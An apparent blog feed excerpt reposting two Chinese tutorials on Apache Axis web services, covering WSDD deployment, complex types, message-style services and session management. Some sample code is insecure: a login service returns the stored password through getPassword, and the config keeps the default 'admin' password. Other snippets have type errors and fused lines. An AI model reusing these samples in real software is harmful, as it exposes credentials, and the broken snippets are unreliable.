<TD><PRE><CODE>

Package lius.axis.demo;
/** 
  * 该类实现了城市服务，用于发布成Web服务 
  * @author Liudong 
  */
  
  public class CityService {
  /**     
    * 获取指定城市的邮编     
    * @param city     
    * @return     
    */
    public String getZip(String city) { 
 return "510630";
    }
    
    /**     
      * 获取指定城市的长途区号     
      * @param city     
      * @return     
      */ 
    
    public String getTel(String city) {
 return "020"; 
    }
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>程序已经完成，下面是发布这个Web服务。打开&lt;webapp&gt;/WEB-INF/server-config.wsdd如果这个文件不存在则创建一个新的文件，内容如下：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;deployment xmlns="http://xml.apache.org/axis/wsdd/" 
	xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"&gt; 
 &lt;globalConfiguration&gt;  
  &lt;parameter name="adminPassword" value="admin"/&gt;  
  &lt;parameter name="attachments.implementation" 
  	value="org.apache.axis.attachments.AttachmentsImpl"/&gt;  
  &lt;parameter name="sendXsiTypes" value="true"/&gt;  
  &lt;parameter name="sendMultiRefs" value="true"/&gt;  
  &lt;parameter name="sendXMLDeclaration" value="true"/&gt;  
  &lt;parameter name="axis.sendMinimizedElements" value="true"/&gt;  
  &lt;requestFlow&gt;   
   &lt;handler type="java:org.apache.axis.handlers.JWSHandler"&gt;    
    &lt;parameter name="scope" value="session"/&gt;   
   &lt;/handler&gt;   
   &lt;handler type="java:org.apache.axis.handlers.JWSHandler"&gt;    
    &lt;parameter name="scope" value="request"/&gt;    
    &lt;parameter name="extension" value=".jwr"/&gt;   
   &lt;/handler&gt;  
  &lt;/requestFlow&gt; 
 &lt;/globalConfiguration&gt; 
 &lt;handler name="LocalResponder" type="java:org.apache.axis.transport.local.LocalResponder"/&gt; 
 &lt;handler name="URLMapper" type="java:org.apache.axis.handlers.http.URLMapper"/&gt; 
 &lt;handler name="Authenticate" type="java:org.apache.axis.handlers.SimpleAuthenticationHandler"/&gt;   

 &lt;service name="city" provider="java:RPC"&gt;  
  &lt;!-- 服务类名 --&gt;   
  &lt;parameter name="className" value="lius.axis.demo.CityService"/&gt;  
  &lt;!-- 允许访问所有方法 --&gt;  
  &lt;parameter name="allowedMethods" value="*"/&gt; 
 &lt;/service&gt;  
 &lt;transport name="http"&gt;  
  &lt;requestFlow&gt;   
   &lt;handler type="URLMapper"/&gt;   
   &lt;handler type="java:org.apache.axis.handlers.http.HTTPAuthHandler"/&gt;  
  &lt;/requestFlow&gt; 
 &lt;/transport&gt; 
 &lt;transport name="local"&gt;  
  &lt;responseFlow&gt;   
   &lt;handler type="LocalResponder"/&gt;  
  &lt;/responseFlow&gt; 
 &lt;/transport&gt;
&lt;/deployment&gt;
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>其中粗斜体的部分是我们服务的配置信息，启动Tomcat并打开浏览求访问地址： http://localhost:8080/axis/services/city?wsdl ，下面是浏览器显示我们Web服务的WDSL数据。</P>
<P><A name=N1006F><B></B></A><BR><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/webservices/.backup/ws-deepaxis/image001.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/"> </P>
<P>当然了，这个过程比起jws方式来说是稍微麻烦一点，你可以把它想象成你发布一个servlet一样，创建servlet类然后在web.xml中加入配置信息。</P>
<P><A name=1><SPAN class=atitle2>处理复杂类型参数和返回值</SPAN></A><BR></P>
<P>之前我们做的演示程序都很简单，方法的参数和返回值都是简单类型的数据，但是在实际应用过程中往往没有这么简单。在使用面向对象的编程语言时，我们会希望数据类型可以是某个对象，比如我们提供一个接口用来发送短信息，那么我们希望接口的参数是一个消息对象，这个消息对象封装了一条信息的所有内容包括发送者、接收者、发送时间、优先级、信息内容等等，如果我们把每个内容都做成一个参数，那这个接口的参数可能会非常的多。因此封装成对象是很有必要的。</P>
<P>在使用Axis来编写Web服务时对复杂类型数据的处理同样也是非常简单。Axis要求复杂类型对象的编写必须符合JavaBean的规范，简单的说就是对象的属性是通过getter/setter方法来访问的。来看看下面这个简单的例子所输出的WSDL信息有何特殊的地方。为了简便，我们还是使用jws来编写，需要编写三个文件：sms.jws,Message.java,Response.java。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

//文件名：sms.jws
import lius.axis.demo.*;

public class sms{  

/**  
  * 短信息发送Web服务接口  
  */
  
  public Response send(Message msg) throws Exception{
 System.out.println("CONTENT:"+msg.getContent());
 Response res = new Response();
 res.setMessage(msg);
 res.setCode(0);
 res.setErrorText("");
 return res;    
  } 
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

//Message.javapackage lius.axis.demo;

/** 
  * 欲发送的信息 
  * @author Liudong 
  */
  
public class Message {
 private String from;
 private String to;
 private String content;
 private int priority;
 
 public String getContent() {
  return content;
 }
 
 public void setContent(String content) {
  this.content = content;
 } 
 
 public String getFrom() { 
  return from;
 }
 
 public void setFrom(String from) { 
  this.from = from;
 }    
 
 public int getPriority() {
  return priority;
 }
 
 public void setPriority(int priority) {
  this.priority = priority;
 } 
 
 public String getTo() {
  return to;
 } 
 
 public void setTo(String to) {
  this.to = to;
 }
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

//Response.javapackage lius.axis.demo;

/** 
  * 信息发送回应，在这里我们做了一个对Message 类的引用 
  * @author Liudong 
  */
  
public class Response {
 private int code; 
 
 //发送结果代码 
 private String errorText;
 private Message message;
 
 //发送的原始信息  
 public int getCode() {
  return code;
 } 
 
 public void setCode(int code) {
  this.code = code;
 } 
 
 public String getErrorText() { 
  return errorText;
 } 
 
 public void setErrorText(String errorText) {   
  this.errorText = errorText;
 } 
 
 public Message getMessage() {
  return message;
 } 

 
 public void setMessage(Message message) { 
  this.message = message;
 }
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>编译Message.java和Response.java并将编译后的类文件拷贝到axis/WEB-INF/classes对应包的目录下，sms.jws拷贝到axis目录，访问http://localhost:8080/axis/sms.jws?wsdl即可看到WSDL信息，这些信息与之前不同的在于下面列出的内容(注意粗斜体部分内容)：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

&lt;wsdl:types&gt;
&lt;schema targetNamespace="http://demo.axis.lius" xmlns="http://www.w3.org/2001/XMLSchema"&gt;
  &lt;import namespace="http://schemas.xmlsoap.org/soap/encoding/" /&gt;
  &lt;complexType name="Message"&gt;
    &lt;sequence&gt;
      &lt;element name="content" nillable="true" type="xsd:string" /&gt;
      &lt;element name="from" nillable="true" type="xsd:string" /&gt;
      &lt;element name="priority" type="xsd:int" /&gt;
      &lt;element name="to" nillable="true" type="xsd:string" /&gt;
    &lt;/sequence&gt;
  &lt;/complexType&gt;
  &lt;complexType name="Response"&gt;
    &lt;sequence&gt;
      &lt;element name="code" type="xsd:int" /&gt;
      &lt;element name="errorText" nillable="true" type="xsd:string" /&gt;
      &lt;element name="message" nillable="true" type="tns1:Message" /&gt;
    &lt;/sequence&gt;
  &lt;/complexType&gt;
&lt;/schema&gt;
&lt;/wsdl:types&gt;
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>这里定义了两个类型Message和Response，就是我们接口的参数类型以及返回值的类型。现在再使用WSDL2Java工具来生成客户端Helper类看看Axis帮我们做了什么？它会自动帮我们生成两个类Message和Response，包名与类名都跟我们刚才定义的一致，你可以打开看看跟我们刚才编写的类差别多大？这两个类添加了很多方法例如getTypeDesc、getSerializer、getDeserializer等等。现在你就可以随便写个小程序测试一下了，我们就不在累赘了。Service方式Web服务的处理跟jws是类似的，不同在于service方式需要在server-config.wsdd添加类型的映射配置，下面给出一个配置的示例，读者可以根据实际情况进行修改。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>


&lt;service name="SmsService" provider="java:RPC"&gt;
 &lt;parameter name="className" value="lius.axis.demo.SmsService"/&gt;
 &lt;parameter name="allowedMethods" value="send"/&gt;
 &lt;operation name="send" returnType="ns:Response"&gt;
  &lt;parameter name="msg" type="ns:Message"/&gt;
 &lt;/operation&gt;
 
&lt;!-- 这里定义了方法的参数以及返回值 --&gt;

 &lt;typeMapping deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"   
 encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
 qname="ns:Message"
 serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"
 type="java:lius.axis.demo.Message" xmlns:ns="SmsService"/&gt;
 
 &lt;typeMapping
 deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"    
 	encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
 qname="ns:Response"    
 serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"    
 type="java:lius.axis.demo.Response" xmlns:ns="SmsService"/&gt;
 &lt;/service&gt;

</CODE></PRE></TD></TR></TBODY></TABLE>
<P>其他编程语言也都可以借助语言本身所附带的工具来生成这些复杂类型，如果你嫌麻烦的话可以使用XML来描述这些复杂类型，这样就简单很多。</P>
<P><A name=2><SPAN class=atitle2>面向消息/文档的Web服务类型</SPAN></A><BR></P>
<P>我们前面介绍的服务方式是基于RPC(远程过程调用)方式，这也是Web服务最常用的方式。面向消息/文档的的类型跟RPC不同的是它提供了一个更底层的抽象，要求更多的编程工作。客户端可以传入任何的XML文档，得到的响应不一定是SOAPEnvelope，可以返回任何它所需要的东西，甚至不返回。虽然这对开发者来说非常的灵活，但是这种通讯类型在实际的应用中并不常见。面向消息/文档的Web服务主要适合于下面几种情况，比如批量处理，基于表单的数据导入，有需要返回非XML数据时，Web服务器实现中要求直接访问传输层等等。</P>
<P>对于RPC类型的服务需要在全局配置文件server-config.wsdd中设置一行&lt;service ... provider="java:RPC"&gt;，其中RPC就是服务的方式，而对于面向消息/文档的服务类型那java:RPC就要替换成为Message，并且面向消息/文档的服务类型必须通过WSDD配置来发表。对于完成面向消息服务的类，其方法必须具有以下的格式：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

public Element[] methodName(Element [] elems)
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>其中methodName为你自定义的方法名。在Axis的目录下可以找到MessageService.java，这就是一个完成了该类型的服务类，该服务的在WSDD中的配置如下：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

&lt;deployment name="test" xmlns="http://xml.apache.org/axis/wsdd/"      
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:xsi="http://www.w3.org/2000/10/XMLSchema-instance"&gt;
 &lt;service name="MessageService" style="message"&gt;
  &lt;parameter name="className" value="samples.message.MessageService"/&gt;
  &lt;parameter name="allowedMethods" value="methodName"/&gt; 
 &lt;/service&gt;
&lt;/deployment&gt;
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>不管是什么内容的Web服务，对客户端来说都是一样的，使用WSDL2Java来生成的客户端Helper类的MessageService接口如下：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

/** 
  * MessageService.java 
  * 
  * This file was auto-generated from WSDL 
  * by the Apache Axis WSDL2Java emitter. 
  */
  
package liudong.axis.services.MessageService;

public interface MessageService extends java.rmi.Remote {
 public java.lang.Object echoElements(java.lang.Object part) throws java.rmi.RemoteException;
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<P><A name=3><SPAN class=atitle2>我从哪里可以获得…</SPAN></A><BR></P>
<P>Axis文档中有一句话很有意思，对于绝大多数类似于"我从哪里可以获得…"的问题，答案都在MessageContext类中。通过MessageContext类你可以获取下面几个内容，一个AxisEngine实例的引用；请求以及回应的信息；验证信息以及对于Servlet规范中的实例引用等等。例如当我们需要客户端的IP地址时我们可以通过下面代码片段获取：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

/**      
  * 获取客户端请求     
  * @return     
  */
  
private HttpServletRequest getRequest() throws Exception{
 MessageContext context = MessageContext.getCurrentContext();
 HttpServletRequest req = (HttpServletRequest)context.getProperty(HTTPConstants.MC_HTTP_SERVLETREQUEST);        
 return req.getRemoteHost();
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>在类HTTPConstants中，所有以MC_开头的常量就是你所可以获取到的信息，例如上面通过MC_HTTP_SERVLETREQUEST获取对应Servlet规范中的HTTP请求。更详细的信息可以通过查询API文档获取。</P>
<P><A name=4><SPAN class=atitle2>Web服务会话管理</SPAN></A><BR></P>
<P>在Web服务中我们可以借助HTTP以及HTTP Cookie来处理会话信息。前面我们介绍了大多数对Axis的管理都是通过MessageContext实例来完成的。下面的例子首先验证用户的登录帐号与口令如果正确则在会话中保存用户的登录信息，并提供接口供客户端获取密码。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

import org.apache.axis.MessageContext;
import org.apache.axis.session.Session;

public class login{ 
 public boolean login(String user, String pass){ 
  MessageContext mc = MessageContext.getCurrentContext();
  Session session = mc.getSession();
  session.set("user",user);
  
  //保存用户名与口令
  session.set("pass",pass);
  return true;
 }
 
 public String getPassword(String user){
  MessageContext mc = MessageContext.getCurrentContext();
  Session session = mc.getSession();
  if(user.equals(session.get("user"))) 
   return (String)session.get("pass");
  return null;
 }
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>对于服务器端来讲只需要通过MessageContext实例获取Session对象即可进行会话级的数据保存或者读取，而对于通过Axis的WSDL2Java工具生成的客户端来讲还需要做一个特殊的设置，请看下面客户端代码片段。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

public static void main(String[] args) throws Exception {
 LoginServiceLocator lsl = new LoginServiceLocator();
        lsl.setMaintainSession(true);
        Login login = lsl.getlogin();
        if(login.login("ld","haha")) 
  System.out.println("PWD:"+login.getPassword("ld"));
        else  
  System.out.println("Login failed.");
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>代码中的粗体部分就是让Axis帮助我们自动处理服务器返回的Cookie信息以保证会话正常工作。</P>
<P><A name=5><SPAN class=atitle2>保护Web服务</SPAN></A><BR></P>
<P>网络的安全问题永远是需要最先考虑的问题，可是怎么能让我们的Web服务更加安全呢？为此Axis建议可以根据实际的需要采取以下的几种方法。</P>
<OL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">
<LI>使用HTTPS传输方式 该方式需要在Web服务器上进行配置同时需要客户端的支持。该措施有效的防止数据在网络传输过程中被窥视。 
<LI>重命名Axis已有的一些名字，例如AdminService、AxisServlet，删除Axis目录下一些无用的程序，例如happyaxis.jsp以及一些无用的jar包等。 
<LI>通过设置axis.enableListQuery的值为false来停止AxisServlet列出所有服务的功能。 
<LI>禁止自动生成WSDL的功能 
<LI>使用过滤器来增加一些验证功能，例如客户端的地址等。 </LI></OL>
<P>最常用的不外乎上面几个，至于更详细的资料可以参考Axis解压目录下的docs/reference.html文件的详细介绍。</P>
<P><A name=resources><SPAN class=atitle2>参考资料 </SPAN></A>
<UL>
<LI>《应用AXIS开始Web服务之旅》 <A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-startaxis/index.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">http://www.ibm.com/developerworks/cn/webservices/ws-startaxis/index.html</A> <BR><BR>
<LI>IBM开发者站点Web服务专区 <A href="http://www-128.ibm.com/developerworks/cn/webservices/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">http://www.ibm.com/developerworks/cn/webservices</A> <BR><BR>
<LI>Apache网站AXIS项目 <A href="http://ws.apache.org/axis/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">http://ws.apache.org/axis/</A> <BR><BR>
<LI>W3C之Web服务 <A href="http://www.w3.org/2002/ws/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">http://www.w3.org/2002/ws/</A> <BR></LI></UL>
<P></P>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><A name=author1></A><SPAN class=atitle2>关于作者</SPAN><BR>刘冬，一直使用J2EE从事移动业务方面的开发。现在可以通过Java自由人网站来跟我联系，网址是： <A href="http://www.javayou.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">http://www.javayou.com</A>；另外我的邮件地址是 <A href="mailto:winter.lau@163.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">winter.lau@163.com</A>。 </TD></TR></TBODY></TABLE><img src ="http://www.blogjava.net/kapok/aggbug/10064.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-14 09:41 <a href="http://www.blogjava.net/kapok/archive/2005/08/14/10064.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在Web Services中管理Sessions</title><link>http://www.blogjava.net/kapok/archive/2005/08/14/10062.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Sun, 14 Aug 2005 00:51:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/14/10062.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10062.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/14/10062.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10062.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10062.html</trackback:ping><description><![CDATA[<STRONG><A href="http://www.ftponline.com/china/XmlFile.aspx?ID=312">http://www.ftponline.com/china/XmlFile.aspx?ID=312</A><BR>在Web service中通常采用两种公认技术来管理session，一种是借助HTTP和HTTP cookies，另一种是用SOAP headers。Axis能帮你实现这两种技术。<BR xmlns:fo="http://www.w3.org/1999/XSL/Format"></STRONG><SPAN class=AboutAuthor xmlns:fo="http://www.w3.org/1999/XSL/Format">by Kevin Jones</SPAN> 
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">在Web service中没有一种管理session的标准方法，只有两种公认的技术，一种是依靠HTTP和HTTP cookies，另一种，或许也是最重要的一种方法，就是用SOAP headers。Axis能帮助开发人员实现这两种技术。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">在Axis中缺省使用的是HTTP managed sessions。在一个服务器中这么做是十分容易的，因为大多数对Axis Web service的管理是通过org.apache.axis.MessageContext的一个实例来完成的。在一个Axis Web service中你可以通过调用MessageContext类中的静态方法来得到MessageContext的一个实例： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>public class SessionService
{
   public String echo(String in)
   {
      MessageContext mc = 
         MessageContext.getCurrentContext();
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">MessageContext中有一个名为setMaintainSession的方法，调用它便可激活session。但在编写（Axis 1.1 RC2）时，session对象只有在被访问时才能激活，如下列代码所示： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>public class SessionService
{
   public String echo(String in)
   {
      MessageContext mc = MessageContext.
         getCurrentContext();
      Session session = mc.getSession();
      String name = (String)session.get("name");
      return in;
   }
}
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">这样会导致Axis架构生成一个set-cookie header： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>Set-Cookie: 
JSESSIONID=49EBBB19A1B2F8D10EE075F6F14CB8C9; 
Path=/axissessions
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">客户端需要在Cookie header中返回这个Cookie来保持该session。为了使axis运行状态下的客户端能够实现这一点，就必须调用org.apache.axis.client.Service接口的setMaintainSession方法。该接口是由WSDL2Java生成工具所生成的Locator类实现的。调用该方法之后，Axis架构会自动将该cookie返回到服务器中： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE> public static void main(String[] args)
   {
      UseSessionsServiceLocator locator = new 
         UseSessionsServiceLocator();
      locator.setMaintainSession(true);
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">header看起来就像这样： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE> Cookie: 
JSESSIONID=49EBBB19A1B2F8D10EE075F6F14CB8C9
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">通过HTTP传输cookie是没有问题的，但如果客户端或服务器不通过HTTP，或使用的是通过多个Web services传入调用的multihop service，那么这种方法就不那么有效了。一种更好的方法是用SOAP headers来加载session id。 </P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">Axis架构支持多个Handlers。通过在一个Web service请求过程中调用调栈（call stack），Handlers能够被放置到很多地方，它可以和传输过程结合起来，或者和一个Web service一起使用。Handlers可以被插入其中来处理Web service请求中的请求和/或响应语句。 </P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">Axis带有一个名为org.apache.axis.handlers.SimpleSessionHandler的handler，它用于提供基于session管理的SOAP header。要使用这个简单的带有Web service的session handler，你必须告知Axis架构将该handler添加到handler链中。你可以通过将该handler信息添加到server-config.wsdd来实现这一点；一个简单的处理方法是定义一个包含额外配置Web service所需的WSDD文件，然后用Axis部署工具来部署这个配置文件。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">这个WSDD文件看起来就像这样： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>&lt;deployment xmlns=
      "http://xml.apache.org/axis/wsdd/"
   xmlns:java=
      "http://xml.apache.org/axis/wsdd/
         providers/java"&gt;

   &lt;handler name="session" 
type="java:org.apache.axis.handlers.
      SimpleSessionHandler"/&gt;

   &lt;service name="Sessions" provider=
         "java:RPC" style="wrapped"&gt;
      &lt;namespace&gt;urn:kevinj:Sessions&lt;/namespace&gt;
      &lt;requestFlow&gt;
            &lt;handler type="session"/&gt;
      &lt;/requestFlow&gt;
      &lt;responseFlow&gt;
            &lt;handler type="session"/&gt;
      &lt;/responseFlow&gt;
      &lt;parameter name="className" value=
            "kevinj.UseSessions"/&gt;
      &lt;parameter name="allowedMethods" value="*"/&gt;
   &lt;/service&gt;

&lt;/deployment&gt;
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">该handler是和service分开定义并引用的，虽然你可以在service内部定义它。注意这个handler是同时为了请求和响应而定义的；这就确保了这些headers能够在请求中被读取并添加到响应中去。你可以用这个管理工具来部署它： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>java  -cp [classpath to axis bits here] / 
         org.apache.axis.client.AdminClient /
         -lhttp://localhost/myservice/AxisServlet
         deploy.wsdd

</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">现在服务器就可以运行了，在使用该handler时服务器无需处理任何事情；而headers能够自动被添加进去，就像这样： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>&lt;soapenv:Header&gt;
   &lt;ns1:sessionID soapenv:actor="" 
                        soapenv:mustUnderstand="0" 
                           xsi:type="xsd:long" 
                        xmlns:ns1=
                           "http://xml.apache.org/axis/
                           session"&gt;
               -1919645576528915916
   &lt;/ns1:sessionID&gt;
&lt;/soapenv:Header&gt;
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">要使用这个header，Web service客户端必须能够读取它并了解其语法；而Axis客户端可以解决这个问题。</P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">要创建一个使用这个简单session的Axis客户端，你需要配置Axis客户端框架来使用该handler。过程同服务器端很相似，但不是部署到服务器，而是在本地创建config文件。你可以通过运行org.apache.axis.utils.Admin来实现这一点。运行以下代码： 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>org.apache.axis.utils.Admin client deploy.wsdd</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">这样就创建了一个client-config.wsdd文件，它同样也包含handler代码。 
<TABLE bgColor=#ffffaa>
<TBODY>
<TR>
<TD><FONT color=#0000cc><PRE>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;deployment xmlns=
   "http://xml.apache.org/axis/wsdd/" 
xmlns:java=   "http://xml.apache.org/axis/
   wsdd/providers/java"&gt;
      &lt;globalConfiguration&gt;
            &lt;parameter name="adminPassword" 
               value="admin"/&gt;
            &lt;parameter name="attachments.implementation" 
               value=
                  "org.apache.axis.attachments.
                  AttachmentsImpl"/&gt;
            &lt;parameter name=
               "sendMultiRefs" value="true"/&gt;
            &lt;parameter name="sendXsiTypes" value=
               "true"/&gt;
            &lt;parameter name=
               "sendXMLDeclaration" value="true"/&gt;
            &lt;parameter name="axis.sendMinimizedElements" 
               value="true"/&gt;
            &lt;requestFlow&gt;
                  &lt;handler type=
                  "java:org.apache.axis.handlers.
                  SimpleSessionHandler"/&gt;
            &lt;/requestFlow&gt;
            &lt;responseFlow&gt;
                  &lt;handler type=
                     "java:org.apache.axis.handlers.
                     SimpleSessionHandler"/&gt;
            &lt;/responseFlow&gt;
      &lt;/globalConfiguration&gt;
      &lt;handler name="session" type=
         "java:org.apache.axis.handlers.
            SimpleSessionHandler"/&gt;
      &lt;service name="Sessions" provider=
         "java:RPC" style="wrapped" use="literal"&gt;
            &lt;requestFlow&gt;
                  &lt;handler type="session"/&gt;
            &lt;/requestFlow&gt;
            &lt;responseFlow&gt;
                  &lt;handler type="session"/&gt;
            &lt;/responseFlow&gt;
            &lt;parameter name="allowedMethods" value="*"/&gt;
            &lt;parameter name="className" value=
               "kevinj.UseSessions"/&gt;
            &lt;namespace&gt;urn:kevinj:Sessions&lt;/namespace&gt;
      &lt;/service&gt;
      &lt;transport name="java" pivot=
         "java:org.apache.axis.transport.
         java.JavaSender"/&gt;
      &lt;transport name="http" pivot=
         "java:org.apache.axis.transport.
            http.HTTPSender"/&gt;
      &lt;transport name="local" pivot=
         "java:org.apache.axis.transport.
         local.LocalSender"/&gt;
&lt;/deployment&gt;
</PRE></FONT></TD></TR></TBODY></TABLE></P>
<P xmlns:fo="http://www.w3.org/1999/XSL/Format">为了使客户端能够利用这个handler，你必须将client-config.wsdd文件添加到客户端的classpath中。然后由Axis框架代表客户端来读取并响应这些headers。同样，客户端代码无需处理任何事情便可以使用它了。 </P><BR xmlns:fo="http://www.w3.org/1999/XSL/Format"><FONT color=#666666 xmlns:fo="http://www.w3.org/1999/XSL/Format"><I>关于作者:</I></FONT><BR xmlns:fo="http://www.w3.org/1999/XSL/Format">Kevin Jones是一名有着15年开发经验的开发人员。最近四年来，他一直从事Java编程方面的研究和教学，最近， 他主要研究HTTP和XML。Kevin住在U.K.，他为Developmentor工作，这是一家以United States 和Europe为基地，主要做Java和Microsoft平台的技术培训的公司。Kevin的联系方式是：<A href="mailto:kevinj@develop.com" target=_blank xmlns:fo="http://www.w3.org/1999/XSL/Format">kevinj@develop.com</A>。<img src ="http://www.blogjava.net/kapok/aggbug/10062.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-14 08:51 <a href="http://www.blogjava.net/kapok/archive/2005/08/14/10062.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>没有找到2.1版本的正式版本</title><link>http://www.blogjava.net/kapok/archive/2005/08/13/10047.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Sat, 13 Aug 2005 12:00:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/13/10047.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10047.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/13/10047.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10047.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10047.html</trackback:ping><description><![CDATA[<A href="http://soft.kingti.com/bckf/bcqt/codelogic14757aa6e7518e2d81e15f6ef5e2c83728.rar">http://soft.kingti.com/bckf/bcqt/codelogic14757aa6e7518e2d81e15f6ef5e2c83728.rar</A><BR><BR>软件简介：&nbsp; <BR>&nbsp; 